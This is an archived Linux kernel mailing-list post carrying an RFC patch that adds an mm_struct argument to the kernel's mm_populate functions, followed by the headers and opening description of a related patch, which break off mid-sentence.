Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 05/13] mm: Add mm_struct argument to 'mm_populate' and '__mm_populate'
Date: Mon, 13 Mar 2017 15:14:07 -0700
Lines: 262
Approved: news@gmane.org
Message-ID: <20170313221415.9375-6-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443286 27187 195.159.176.226 (13 Mar 2017 22:14:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:14:46 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:14:36 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYEd-0006Ck-Ic
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:14:35 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id AFD396B0398; Mon, 13 Mar 2017 18:14:41 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id AA0B16B0395; Mon, 13 Mar 2017 18:14:41 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 8566D6B039A; Mon, 13 Mar 2017 18:14:41 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wm0-f69.google.com (mail-wm0-f69.google.com [74.125.82.69])
	by kanga.kvack.org (Postfix) with ESMTP id 0D5E46B0396
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:14:41 -0400 (EDT)
Original-Received: by mail-wm0-f69.google.com with SMTP id u9so15922621wme.6
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:14:41 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=L9ZGkofPwJZtxDbkMH9NhMDs7T/gMAImSDSPoqAZ0zs=;
        b=k4T/aR4u1xM7QyvaDxked8ytETuskKcBrfQ0e17p9uXtdpzbVYSWAZsPvaD/iqXXM0
         0M+NwOOGkg3wR6wLngTuGN35cgxfnVWiqNvmMekdGzc11Jp8JRRbHEnKvGpKL1KQoZsy
         9H9nIsdhrQi4h2miZTJnI2d/CQtAcXapMeb35z07wI4sQ7mF7JnB8/F+pC6+BqRCh/EN
         pkkZ0St1wcH0QN+cAPLBkLTk5GwhuzzDDWjxyGR/Q2Wx8EVeZ2DDj5HScRRxrGcRos2v
         9Qnj158q+9UUNw/Eky/kEdR6DBwl78ZXYMAQsbAZzSrtJJpWBuhAp38ICcsfjAiYJ5e1
         /iog==
X-Gm-Message-State: AMke39kKDo2a5p4nA8AKgwfClxjI1GKjb73e+8TVK7yq28xUVA8PNt0MXiviL9KmKrvW6PYRoqV7oqsV85HiTJBLcQdGm9fdcK6bKY3FMhKdAVdmXaMuxwYQO060pVUDzC6qcE7tTxNX8mQwoF0wZQbChntgIEBl32zEx+OTeK3vRj4h6Dr2ptFxeJpAKRlgRWI+7Fdz/0iSybEe/ySqotC4IfoSUUBOicR2CWpq84XZNRERCkqJJeuc7HJYZ7KwugE2iXh8gJrFPOxB3RzC/UUiSwndxcEP0XGCWQi8UCepzPyHywbVjvI=
X-Received: by 10.223.143.68 with SMTP id p62mr28695843wrb.2.1489443280607;
        Mon, 13 Mar 2017 15:14:40 -0700 (PDT)
X-Received: by 10.223.143.68 with SMTP id p62mr28695816wrb.2.1489443279811;
        Mon, 13 Mar 2017 15:14:39 -0700 (PDT)
Original-Received: from mail-wm0-x244.google.com (mail-wm0-x244.google.com. [2a00:1450:400c:c09::244])
        by mx.google.com with ESMTPS id c8si12544477wmi.100.2017.03.13.15.14.39
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:14:39 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::244 as permitted sender) client-ip=2a00:1450:400c:c09::244;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::244 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wm0-x244.google.com with SMTP id n11so12117621wma.0;
        Mon, 13 Mar 2017 15:14:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=L9ZGkofPwJZtxDbkMH9NhMDs7T/gMAImSDSPoqAZ0zs=;
        b=lwt5TS0MoNT+8BHlDUKrB1TYn1uQ7S26GJkzPiDlXIzsdbZej6usRk4SNwAyvDRGgn
         z1GohX7wC3pLcu/rmQx2FozrDBfawUgqgKk/W8k5k/iVES44lCzSvXb34Rd/po4V6gzt
         3pnH6REEu2RJFr4m9XwqwvaejtYfY19n0MhIO8miFx5Tb4nFIOEOqB2/HLtehFcpoZsN
         Rsi0mv045vWTOXh8Du0ShwjldPpdzqRC51WjIcuFYmApnUJKaXXDPU/K070NY7W1Yow5
         X8VBtF+/39ZHx+xBEravhsUff+vMaGw+7Mfm8f9fIzZxH457tkLv5raIaIpHxmRQxfEZ
         enuA==
X-Received: by 10.28.17.208 with SMTP id 199mr11705349wmr.9.1489443279121;
        Mon, 13 Mar 2017 15:14:39 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id q4sm26657203wrc.35.2017.03.13.15.14.37
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:14:38 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4939 gmane.linux.kernel:2431235 gmane.linux.ports.alpha:4125 gmane.linux.kernel.arc:2214 gmane.linux.ports.arm.kernel:564749 gmane.linux.ports.hexagon:1150 gmane.linux.ports.ia64:27689 gmane.linux.kernel.metag:1259 gmane.linux.ports.mips.general:58335 gmane.linux.ports.parisc:27317 gmane.linux.ports.ppc64.devel:139528 gmane.linux.ports.sh.devel:55123 gmane.linux.ports.sparc:24720 gmane.linux.drivers.video-input-infrastructure:114743 gmane.linux.drivers.mtd:72534 gmane.linux.usb.general:156110 gmane.linux.file-systems:119080 gmane.linux.kernel.mm:168262 gmane.linux.kernel.api:22521 gmane.linux.kernel.cross-arch:35529 gmane.linux.alsa.devel:165307
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4939>

Add to the 'mm_populate' and '__mm_populate' functions as additional
argument which mm_struct they should use during their execution. Before,
these functions simply used the memory map of the current task. However,
with the introduction of first class virtual address spaces, both
functions also need to be able to operate on other memory maps than just
the one of the current task. Accordingly, it is now possible to specify
explicitly which memory map these functions should use via an additional
argument.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
---
 arch/x86/mm/mpx.c  |  2 +-
 include/linux/mm.h | 13 ++++++++-----
 ipc/shm.c          |  9 +++++----
 mm/gup.c           |  4 ++--
 mm/mlock.c         | 21 +++++++++++----------
 mm/mmap.c          |  6 +++---
 mm/mremap.c        |  2 +-
 mm/util.c          |  2 +-
 8 files changed, 32 insertions(+), 27 deletions(-)

diff --git a/arch/x86/mm/mpx.c b/arch/x86/mm/mpx.c
index 99c664a97c35..b46f7cdbdad8 100644
--- a/arch/x86/mm/mpx.c
+++ b/arch/x86/mm/mpx.c
@@ -54,7 +54,7 @@ static unsigned long mpx_mmap(unsigned long len)
 		       MAP_ANONYMOUS | MAP_PRIVATE, VM_MPX, 0, &populate);
 	up_write(&mm->mmap_sem);
 	if (populate)
-		mm_populate(addr, populate);
+		mm_populate(mm, addr, populate);
 
 	return addr;
 }
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 1520da8f9c67..92925d97da20 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2040,15 +2040,18 @@ do_mmap_pgoff(struct mm_struct *mm, struct file *file, unsigned long addr,
 }
 
 #ifdef CONFIG_MMU
-extern int __mm_populate(unsigned long addr, unsigned long len,
-			 int ignore_errors);
-static inline void mm_populate(unsigned long addr, unsigned long len)
+extern int __mm_populate(struct mm_struct *mm, unsigned long addr,
+			 unsigned long len, int ignore_errors);
+static inline void mm_populate(struct mm_struct *mm, unsigned long addr,
+			       unsigned long len)
 {
 	/* Ignore errors */
-	(void) __mm_populate(addr, len, 1);
+	(void) __mm_populate(mm, addr, len, 1);
 }
 #else
-static inline void mm_populate(unsigned long addr, unsigned long len) {}
+static inline void mm_populate(struct mm_struct *mm, unsigned long addr,
+			       unsigned long len)
+{}
 #endif
 
 /* These take the mm semaphore themselves */
diff --git a/ipc/shm.c b/ipc/shm.c
index 2fd73cda4ec8..be692e0abe79 100644
--- a/ipc/shm.c
+++ b/ipc/shm.c
@@ -1106,6 +1106,7 @@ long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr,
 	struct shm_file_data *sfd;
 	struct path path;
 	fmode_t f_mode;
+	struct mm_struct *mm = current->mm;
 	unsigned long populate = 0;
 
 	err = -EINVAL;
@@ -1208,7 +1209,7 @@ long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr,
 	if (err)
 		goto out_fput;
 
-	if (down_write_killable(&current->mm->mmap_sem)) {
+	if (down_write_killable(&mm->mmap_sem)) {
 		err = -EINTR;
 		goto out_fput;
 	}
@@ -1218,7 +1219,7 @@ long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr,
 		if (addr + size < addr)
 			goto invalid;
 
-		if (find_vma_intersection(current->mm, addr, addr + size))
+		if (find_vma_intersection(mm, addr, addr + size))
 			goto invalid;
 	}
 
@@ -1229,9 +1230,9 @@ long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr,
 	if (IS_ERR_VALUE(addr))
 		err = (long)addr;
 invalid:
-	up_write(&current->mm->mmap_sem);
+	up_write(&mm->mmap_sem);
 	if (populate)
-		mm_populate(addr, populate);
+		mm_populate(mm, addr, populate);
 
 out_fput:
 	fput(file);
diff --git a/mm/gup.c b/mm/gup.c
index 55315555489d..ca5ba2703b40 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -1053,9 +1053,9 @@ long populate_vma_page_range(struct vm_area_struct *vma,
  * flags. VMAs must be already marked with the desired vm_flags, and
  * mmap_sem must not be held.
  */
-int __mm_populate(unsigned long start, unsigned long len, int ignore_errors)
+int __mm_populate(struct mm_struct *mm, unsigned long start, unsigned long len,
+		  int ignore_errors)
 {
-	struct mm_struct *mm = current->mm;
 	unsigned long end, nstart, nend;
 	struct vm_area_struct *vma = NULL;
 	int locked = 0;
diff --git a/mm/mlock.c b/mm/mlock.c
index cdbed8aaa426..9d74948c7b22 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -664,6 +664,7 @@ static int count_mm_mlocked_page_nr(struct mm_struct *mm,
 
 static __must_check int do_mlock(unsigned long start, size_t len, vm_flags_t flags)
 {
+	struct mm_struct *mm = current->mm;
 	unsigned long locked;
 	unsigned long lock_limit;
 	int error = -ENOMEM;
@@ -680,10 +681,10 @@ static __must_check int do_mlock(unsigned long start, size_t len, vm_flags_t fla
 	lock_limit >>= PAGE_SHIFT;
 	locked = len >> PAGE_SHIFT;
 
-	if (down_write_killable(&current->mm->mmap_sem))
+	if (down_write_killable(&mm->mmap_sem))
 		return -EINTR;
 
-	locked += current->mm->locked_vm;
+	locked += mm->locked_vm;
 	if ((locked > lock_limit) && (!capable(CAP_IPC_LOCK))) {
 		/*
 		 * It is possible that the regions requested intersect with
@@ -691,19 +692,18 @@ static __must_check int do_mlock(unsigned long start, size_t len, vm_flags_t fla
 		 * should not be counted to new mlock increment count. So check
 		 * and adjust locked count if necessary.
 		 */
-		locked -= count_mm_mlocked_page_nr(current->mm,
-				start, len);
+		locked -= count_mm_mlocked_page_nr(mm, start, len);
 	}
 
 	/* check against resource limits */
 	if ((locked <= lock_limit) || capable(CAP_IPC_LOCK))
 		error = apply_vma_lock_flags(start, len, flags);
 
-	up_write(&current->mm->mmap_sem);
+	up_write(&mm->mmap_sem);
 	if (error)
 		return error;
 
-	error = __mm_populate(start, len, 0);
+	error = __mm_populate(mm, start, len, 0);
 	if (error)
 		return __mlock_posix_error_return(error);
 	return 0;
@@ -790,6 +790,7 @@ static int apply_mlockall_flags(int flags)
 
 SYSCALL_DEFINE1(mlockall, int, flags)
 {
+	struct mm_struct *mm = current->mm;
 	unsigned long lock_limit;
 	int ret;
 
@@ -805,16 +806,16 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	lock_limit = rlimit(RLIMIT_MEMLOCK);
 	lock_limit >>= PAGE_SHIFT;
 
-	if (down_write_killable(&current->mm->mmap_sem))
+	if (down_write_killable(&mm->mmap_sem))
 		return -EINTR;
 
 	ret = -ENOMEM;
-	if (!(flags & MCL_CURRENT) || (current->mm->total_vm <= lock_limit) ||
+	if (!(flags & MCL_CURRENT) || (mm->total_vm <= lock_limit) ||
 	    capable(CAP_IPC_LOCK))
 		ret = apply_mlockall_flags(flags);
-	up_write(&current->mm->mmap_sem);
+	up_write(&mm->mmap_sem);
 	if (!ret && (flags & MCL_CURRENT))
-		mm_populate(0, TASK_SIZE);
+		mm_populate(mm, 0, TASK_SIZE);
 
 	return ret;
 }
diff --git a/mm/mmap.c b/mm/mmap.c
index 8a73dc458e69..3f60c8ebd6b6 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -236,7 +236,7 @@ SYSCALL_DEFINE1(brk, unsigned long, brk)
 	populate = newbrk > oldbrk && (mm->def_flags & VM_LOCKED) != 0;
 	up_write(&mm->mmap_sem);
 	if (populate)
-		mm_populate(oldbrk, newbrk - oldbrk);
+		mm_populate(mm, oldbrk, newbrk - oldbrk);
 	return brk;
 
 out:
@@ -2781,7 +2781,7 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size,
 out:
 	up_write(&mm->mmap_sem);
 	if (populate)
-		mm_populate(ret, populate);
+		mm_populate(mm, ret, populate);
 	if (!IS_ERR_VALUE(ret))
 		ret = 0;
 	return ret;
@@ -2898,7 +2898,7 @@ int vm_brk(unsigned long addr, unsigned long len)
 	populate = ((mm->def_flags & VM_LOCKED) != 0);
 	up_write(&mm->mmap_sem);
 	if (populate && !ret)
-		mm_populate(addr, len);
+		mm_populate(mm, addr, len);
 	return ret;
 }
 EXPORT_SYMBOL(vm_brk);
diff --git a/mm/mremap.c b/mm/mremap.c
index f085eed57bac..0f18ec452441 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -602,6 +602,6 @@ SYSCALL_DEFINE5(mremap, unsigned long, addr, unsigned long, old_len,
 	}
 	up_write(&current->mm->mmap_sem);
 	if (locked && new_len > old_len)
-		mm_populate(new_addr + old_len, new_len - old_len);
+		mm_populate(mm, new_addr + old_len, new_len - old_len);
 	return ret;
 }
diff --git a/mm/util.c b/mm/util.c
index 46d05eef9a6b..7b1116b400a3 100644
--- a/mm/util.c
+++ b/mm/util.c
@@ -306,7 +306,7 @@ unsigned long vm_mmap_pgoff(struct file *file, unsigned long addr,
 				    &populate);
 		up_write(&mm->mmap_sem);
 		if (populate)
-			mm_populate(ret, populate);
+			mm_populate(mm, ret, populate);
 	}
 	return ret;
 }
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 04/13] mm: Add mm_struct argument to 'get_unmapped_area' and 'vm_unmapped_area'
Date: Mon, 13 Mar 2017 15:14:06 -0700
Lines: 2350
Approved: news@gmane.org
Message-ID: <20170313221415.9375-5-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443296 30222 195.159.176.226 (13 Mar 2017 22:14:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:14:56 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:14:43 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYEg-0006If-S9
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:14:39 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id DD96C831CD; Mon, 13 Mar 2017 18:14:41 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id CC4546B0399; Mon, 13 Mar 2017 18:14:41 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id A2D456B0394; Mon, 13 Mar 2017 18:14:41 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wm0-f70.google.com (mail-wm0-f70.google.com [74.125.82.70])
	by kanga.kvack.org (Postfix) with ESMTP id D3B956B0395
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:14:40 -0400 (EDT)
Original-Received: by mail-wm0-f70.google.com with SMTP id v190so15951847wme.0
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:14:40 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=Algl+9unECSKvBESJHc5WAFOU1MpPjVUY9TmXyboPTo=;
        b=FE0XPIoM71IzV8cZLtJp+x5B0H15S9v2Ug6CesY+6/y3MbHhPcO0lNB6rQDTVtf4TQ
         efC+2c7afbd4xQou+RHF55pcpMCZLYjWgh4mJLOOeBpTGF+yNotPodu+AM0moJpCCwm1
         CWLHQqtBRmWKThW9kst7s5RtkfIEQmrxOj/DESiuTjMF0SHCKuuBPxvfj9U2Q/kVbQD+
         7vDj7UFJdXKf01nNUfqI/WzyQu2p5Kqvn8dPtNkgnGpRHgLKCHHDl+VSYtzk5dOi4ffS
         Y/nC3iZ/mEns+Rggu0ekBf34BcdUUFw7h4WuW98b/kjdVphEte7wXvjePX3cOwFZRE6B
         xqsA==
X-Gm-Message-State: AFeK/H2pmcc1PT4vpVQGd+9hz+wEkq8G7CapkJjFPATl0xOpWUsdmD7wlyEskVRubEddi1QiX06CZ1mxqaaQWLuSjdIq1Fi+HZXGudq5YfAPs0i8ipMr1yszc99MPVtwKS9GmEcFaTEB9c9NYCr2KWy14TIShxrUxU+5K+nHuc8vrMf6IbwQLdTOz9jP2MKH8fhAgETUZz5KYJ19SXcxDCZ7WW2aan2+5vm2/XWUn2T3JyeysEIHjCbp8847EAYog+XZJA2zkbbb/Bsn07ZNYDJPaf/xXzwS0L6NXfBbJqO0TVxtWlIzov4=
X-Received: by 10.28.230.83 with SMTP id d80mr11594378wmh.18.1489443280265;
        Mon, 13 Mar 2017 15:14:40 -0700 (PDT)
X-Received: by 10.28.230.83 with SMTP id d80mr11594282wmh.18.1489443277189;
        Mon, 13 Mar 2017 15:14:37 -0700 (PDT)
Original-Received: from mail-wr0-x241.google.com (mail-wr0-x241.google.com. [2a00:1450:400c:c0c::241])
        by mx.google.com with ESMTPS id x184si12550213wmd.52.2017.03.13.15.14.36
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:14:37 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::241 as permitted sender) client-ip=2a00:1450:400c:c0c::241;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::241 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x241.google.com with SMTP id u108so21794824wrb.2;
        Mon, 13 Mar 2017 15:14:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=Algl+9unECSKvBESJHc5WAFOU1MpPjVUY9TmXyboPTo=;
        b=F2zazM5vgA6fUvV4fV0WgD2Z2eqfFwQGmi7LTtnEA7HXVxGWkZI4zBDrkxOogURS9s
         WT9InCQlZd2b+VIj0/6/23lnmvT0UqgsYAKy/SiFRFUCo29jOU0+cWpXxs+kwqoowPaj
         RzWFtuEHZjrCZ8vFluUIQ4plXvKjIZS+ejMFApHr7JyCPzaw9rcEkgUjrtwWkxk19iLt
         VXEs8HE8fKo0PdVRf8CHteVnVIesohLEREM7iCFf0Xt6cTSqpxE26+qoyhz2K5b5roDd
         83Bcf289VBmDCJLcmYpcMtN3qLuxZ3r9Ibj+WAV7BYCpDVJk9fiH1wy6WQ2/G484RCmr
         smkg==
X-Received: by 10.223.177.148 with SMTP id q20mr30632067wra.154.1489443275359;
        Mon, 13 Mar 2017 15:14:35 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id 40sm26632392wry.22.2017.03.13.15.14.33
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:14:34 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4940 gmane.linux.kernel:2431236 gmane.linux.ports.alpha:4126 gmane.linux.kernel.arc:2215 gmane.linux.ports.arm.kernel:564750 gmane.linux.ports.hexagon:1151 gmane.linux.ports.ia64:27690 gmane.linux.kernel.metag:1260 gmane.linux.ports.mips.general:58336 gmane.linux.ports.parisc:27318 gmane.linux.ports.ppc64.devel:139529 gmane.linux.ports.sh.devel:55124 gmane.linux.ports.sparc:24721 gmane.linux.drivers.video-input-infrastructure:114744 gmane.linux.drivers.mtd:72535 gmane.linux.usb.general:156111 gmane.linux.file-systems:119081 gmane.linux.kernel.mm:168263 gmane.linux.kernel.api:22522 gmane.linux.kernel.cross-arch:35530 gmane.linux.alsa.devel:165308
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4940>

Add the mm_struct that for which an unmapped area should be found as
explicit argument to the 'get_unmapped_area' function. Previously, the
function simply search for an unmapped area in the memory map of the
 current task. However, with the introduction of first class virtual
address spaces, it is necessary that get_unmapped_area also can look for
unmapped area in memory maps other than the one of the current task.

Changing the signature of the generic 'get_unmapped_area' function also
